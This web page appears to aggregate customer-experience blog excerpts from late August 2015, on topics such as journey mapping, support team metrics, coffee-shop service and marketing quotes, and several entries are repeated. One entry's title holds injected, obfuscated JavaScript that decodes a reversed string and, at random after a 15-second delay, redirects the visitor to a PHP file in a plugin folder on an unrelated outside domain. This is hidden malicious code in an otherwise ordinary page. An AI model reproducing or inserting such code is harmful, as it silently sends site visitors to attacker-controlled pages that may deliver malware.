Sat.Aug 22, 2015 - Fri.Aug 28, 2015

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Journey Mapping – Lather, Rinse, Repeat

InMoment XI

Many companies treat Customer Journey Mapping (CJM) as a major undertaking, and for good reason. For those who have never done CJM, a first-time journey map can provide valuable insight into how customers experience the brand. It brings employees across the enterprise to a greater awareness of customer needs. It highlights major customer pain points.

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2 Employee Awards That Will Improve Your Customer Experience

Kerry Bodine

In order to transform your customer experience, you need to change employee behavior. But how can you encourage the right types of behavior? Two awards will help. The Above & Beyond Award: When a customer contacts your company with a problem, you want employees to fix it as quickly as possible. Depending on the nature of the problem, that might mean doing tasks that aren’t in their official job descriptions, staying overtime, or going on what feels like an organizational scavenger hunt.

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Get Your Experience Strategy Ready for the 4th Quarter!

Experience Investigators by 360Connext

Did you know that by 2016, 89% of companies will compete mainly by the customer experience they provide? Are you preparing your customer experience strategy for this? Your survey data and customer dashboards only tell part of the story. The last quarter of the year is the perfect time to set your customer experience strategy up […]. The post Get Your Experience Strategy Ready for the 4th Quarter!

Strategy 217
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How to Use the Starfish Story to Grow Your Business

Steve DiGioia

it's really easy This original article was written by Steve DiGioia. One day a man was walking along the beach when he noticed a boy picking something up and gently throwing it into the ocean. Approaching the boy, he asked, “What are you doing?” The youth replied, throwing starfish back into the ocean. “The surf is up and the tide is going out. If I don’t throw them back, they’ll die.”.

How To 206
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The Ultimate Guide to Monetizing Customer Learning

Every decision that goes into your learning monetization strategy matters for your organization’s bottom line. Our research has shown a clear correlation between high program maturity (and ROI!) and choosing the right monetization strategy. This eBook contains clear, actionable ways to approach packaging and pricing models that will help your association grow revenue, improve profitability, and drive expansion into new markets.

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Journey Mapping – Lather, Rinse, Repeat

InMoment XI

Many companies treat Customer Journey Mapping (CJM) as a major undertaking, and for good reason. For those who have never done CJM, a first-time journey map can provide valuable insight into how customers experience the brand. It brings employees across the enterprise to a greater awareness of customer needs. It highlights major customer pain points.

More Trending

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How to turn a great customer experience into a terrible one: Hammonds, the fitted furniture company

ijgolding

I am often asked how I find so much to write about on the subject of Customer Experience. Happily and sadly too many organisations make it very easy. So many of us experience great things (less so) and awful things (too often) on a regular basis, that I am inundated with stories that bring to life the effect (good, bad or indifferent) that Customer Experiences really do have.

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How the Fancy Coffee Shops Have Ruined Customer Service

Steve DiGioia

and you want me to pay $5 for this? This original article was written by Steve DiGioia. I remember the days, and they weren’t that long ago, when you could stop into any diner or coffee shop and ask for a “regular or light & sweet” and have the coffee prepared perfectly and placed in front of you within 15 seconds. Now, the local coffee shop has been replaced with the superstar coffee shops that have every imaginable named version of burnt coffee that costs $5 each.

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Journey Mapping – Lather, Rinse, Repeat

InMoment XI

Many companies treat Customer Journey Mapping (CJM) as a major undertaking, and for good reason. For those who have never done CJM, a first-time journey map can provide valuable insight into how customers experience the brand. It brings employees across the enterprise to a greater awareness of customer needs. It highlights major customer pain points.

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Speed isn’t everything: what to measure when scaling your support team

Kayako

Scaling up your customer support team means you not only need to hire more staff to handle the increase in volume, but you’ll also want to measure performance and results from your current team, to ensure they’re working efficiently and to their full potential. Speed is easy to manage and measure. So, a lot of managers tend to default to only using this, to track how long it takes for a team member to respond to a customer enquiry, also known as average handle time (AHT).

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Reimagine Your Communications With A Unified Platform

Cut complexity and boost efficiency while empowering your customers with Nextiva's unified communications platform. Nextiva streamlines workflows and centralizes customer interactions, all while simplifying business collaboration, increasing productivity, and reducing employee burnout.

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How to Use Marketing Quotes to Inspire and Catalyse Action

C3Centricity

Posts which include quotes are amongst the most shared on social media. Everyone seems to love them. This is because they are short, simple and often inspiring. They also usually fit conveniently into the 140 word limit of Twitter posts. C³Centricity is no exception; our marketing quote posts are always the most popular, year after year. [.]. The post How to Use Marketing Quotes to Inspire and Catalyse Action appeared first on C3Centricity.

Marketing 192
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Three CX points that customers share in social media

Customer Bliss

When you deliver a reliable experience, you earn the right to your customers’ story through word of mouth. And your customers will come back because they want to have your experience again. There are three repeated customer experience points that customers talk about through social media. When the three are delivered consistently, they earn you the right to new customer growth without the acquisition cost, plus organic growth from your existing customers.

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Video: Advice from Funda Whitaker on Emotion and Customer Experience Programs

InMoment XI

During her time as Sr. Director of Strategic Research Services at MaritzCX, Funda Whitaker has learned a lot about what helps companies make great customer experience programs. She designs research projects that will give clients the information they need on what exactly their CX programs need. One of the most important things that all CX programs. View Article.

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Customer support training is way too passive

Kayako

It’s unfortunate to see just how much customer support learning depends on one-off inductions. There’s a lot to learn after orientation. As anyone who ever sat through a college lecture knows, the real learning starts when the lesson ends. There are quite a few things that limit the value of lesson-based training sessions: it’s a form of passive learning; it’s usually tailored to a group rather than an individual; and it doesn’t happen regularly.

Training 196
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How Retailers Are Transforming Customer Experiences with Data & AI

Speaker: David Azoulay, Marc Stracuzza, Román Tejada, and Guest Speaker Sucharita Kodali

Imagine a retail landscape where every interaction is personalized, every decision informed, and every opportunity maximized 🤔✨ Join us for an exploratory journey into the heart of AI-driven retail innovation. We’ll unveil the transformative potential of AI and data analytics in shaping the future of omnichannel personalization and e-commerce.

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Automated Call Answering Cuts Costs But Also Cuts Customers {Guest Post}

Michelli Experience

The size of a customer service department is, of course, directly related to the size of the business it is serving. A small company with only a limited number of customers will not have the same demands as a large one serving millions of people. For the latter, it can become a costly operation to [.

Course 152
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Move “Customer Culture” Talk to Real Customer Culture Actions

Customer Bliss

“Customer Culture” is talked about by many leaders but misunderstood by most organizations. That is because it is spoken of as a concept, rather than attached to the deliberate behavior and consideration of customers’ lives. The role of the Chief Customer is to work with leaders to unite behavior and provide proof to the organization that the leadership team is committed to driving growth by improving customers’ lives.

Culture 166
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Video: Advice from Funda Whitaker on Emotion and Customer Experience Programs

InMoment XI

During her time as Sr. Director of Strategic Research Services at MaritzCX, Funda Whitaker has learned a lot about what helps companies make great customer experience programs. She designs research projects that will give clients the information they need on what exactly their CX programs need. One of the most important things that all CX programs.

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CX Journey™ Musings: Busy Work vs. Real Work

CX Journey

Image courtesy of myfrozenlife Think about the things that you're doing to transform your organization and your customer experience. Are you doing busy work? Or are you doing real work? Today's post is inspired by this quote from Thomas Edison: Being busy does not always mean real work. The object of all work is production or accomplishment and to either of these ends there must be forethought, system, planning, intelligence, and honest purpose, as well as perspiration.

Roadmap 147
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Navigating the Future: Unveiling Trends and Bold Predictions in Customer Experience

Ready to explore 2024’s CX landscape? Join experts from SMG and guest Forrester as they discuss prominent trends actively shaping the industry and dive into a stack of bold predictions for the year ahead. Will the average customer experience improve? How can leaders leverage their CX metrics to establish financial linkage? What will global firms achieve using customer-facing generative AI?

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Episode #2 – The ROI of Focusing on the Customer Experience - Transforming the Customer Experience

Kristina Evey

This episode focuses on the ROI of the Customer Experience using real world examples. Using the lifetime value of your customer is extremely important for everyone within your organization. If you don’t know your average lifetime customer value, I’ll walk you through how to determine that number here and what it can bring or cost your company.

ROI 139
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Improving Employee Experience with Better Results

Beyond Philosophy

Performance reviews are part of most employer/employee relationships. However, recent developments show that improving employee experience involves finding new ways to give employees feedback to improve motivation and success. Annual reviews are likely to get a resigned sigh out of most managers. After a less than insightful review, most employees might sigh as well.

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Advice from Funda Whitaker on Emotion and Customer Experience Programs

InMoment XI

During her time as Sr. Director of Strategic Research Services at MaritzCX, Funda Whitaker has learned a lot about what helps companies make great customer experience programs. She designs research projects that will give clients the information they need on what exactly their CX programs need. One of the most important things that all CX programs.

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How to Reduce Customer Efforts in Doing Business with You (3 Strategies that Really Work)

Uniphore

It’s been a few decades since business started being a “thing”. Modern life is challenging us to have a full social, family, personal and healthy life while fulfilling ourselves professionally. People do everything they can to multitask, including online shopping from the bathroom , reports the Washington Post. Read More.

Strategy 122
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11 Tips to Drive Learning Content Consumption

Unlock the full potential of your educational initiatives with the 11 Tips to Drive Learning Content Consumption eBook. You’ll uncover: Why measure content consumption rather than (or in addition to) completion rates and member satisfaction? What are some proven tactics to create quality learner content and raise your content consumption rates? Discover the secrets from leading experts in the field, distilled into practical tips that promise to elevate the quality of your educational offerings,

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Smartwatch Value Driver #5: Show Utility Now

Kerry Bodine

Smartwatch apps don’t have to mirror the functionality of their phone and tablet counterparts to be useful. In fact, apps that try to do it all on a miniscule device with limited input mechanisms end up cluttered, frustrating, and forgotten. Unfortunately for brands, user expectations don’t automatically align with device constraints. When we partnered with AnswerLab to study how people use (and want to use) smartwatches, we diagnosed a serious case of app apathy.

Study 120
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How to Use Marketing Quotes to Inspire and Catalyse Action

C3Centricity

Posts which include quotes are amongst the most shared on social media. Everyone seems to love them. This is because they are short, simple and often inspiring. They also usually fit conveniently into the 140 word limit of Twitter posts. C³Centricity is no exception; our marketing quote posts are always the most popular, year after year. In fact it has become something of a tradition to share a post of the recent and most inspiring marketing quotes during the Summer and Winter vacation breaks.

Marketing 120
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Customers with a Need for Speed

Wired and Dangerous

The food bank near my home was depending on me for help distributing food. It meant being there on time to set up. But, I got behind a slow car on a two-lane highway in a mountainous area. I was the seventh car in this creeping motorcade for miles. I wished my state had laws that required vehicles to pull over if followed closely by four or more vehicles.

Hotels 114
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How to Do Mobile Customer Service (With Videos!)

Esteban Kolsky

Yes. I gave in to the dark side… the title is a little link-baitish… I will admit that. But, there is good content (and they are videos) associated with it. Here is the scoop… A couple of years ago I started working with a large number of brands on their approach to mobile customer service. We tried, experimented, tested different things and in the process I came up with a nifty little model for adoption of mobile customer service which I have been improving ever since.

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Strategic CX: A Deep Dive into Voice of the Customer Insights for Clarity

Speaker: Nicholas Zeisler, CX Strategist & Fractional CXO

The first step in a successful Customer Experience endeavor (or for that matter, any business proposition) is to find out what’s wrong. If you can’t identify it, you can’t fix it! 💡 That’s where the Voice of the Customer (VoC) comes in. Today, far too many brands do VoC simply because that’s what they think they’re supposed to do; that’s what all their competitors do.

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3 Live Chat Tips to Improve Your Online Customer Support

Velaro

Live chat software can help you improve customer satisfaction, by reducing wait times and personalizing interactions with your customers, for instance. As more customers turn to online shopping, occasionally reviewing and refreshing your online customer support practices is a good idea. First and foremost in delivering online customer service is live chat software.

Tips 113
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How to Use Marketing Quotes to Inspire $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Catalyse Action

C3Centricity

Posts which include quotes are amongst the most shared on social media. Everyone seems to love them. This is because they are short, simple and often inspiring. They also usually fit conveniently into the 140 word limit of Twitter posts. C³Centricity is no exception; our marketing quote posts are always the most popular, year after year. In fact it has become something of a tradition to share a post of the recent and most inspiring marketing quotes during the Summer and Winter vacation breaks.

Marketing 120
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6 Facts You Need To Know About The Mobile Experience

iPerceptions

The mobile phone has transformed the world. We are now connected like never before with smart phones becoming our main gateway to the internet and the world. According to eMarketer, there will be over 30 million mobile-only internet users by 2016. Not only are more of us connecting to the internet via our phones but ComScore reported that mobile platforms – smart phones and tablets – accounted for 60 percent of total digital media time spent.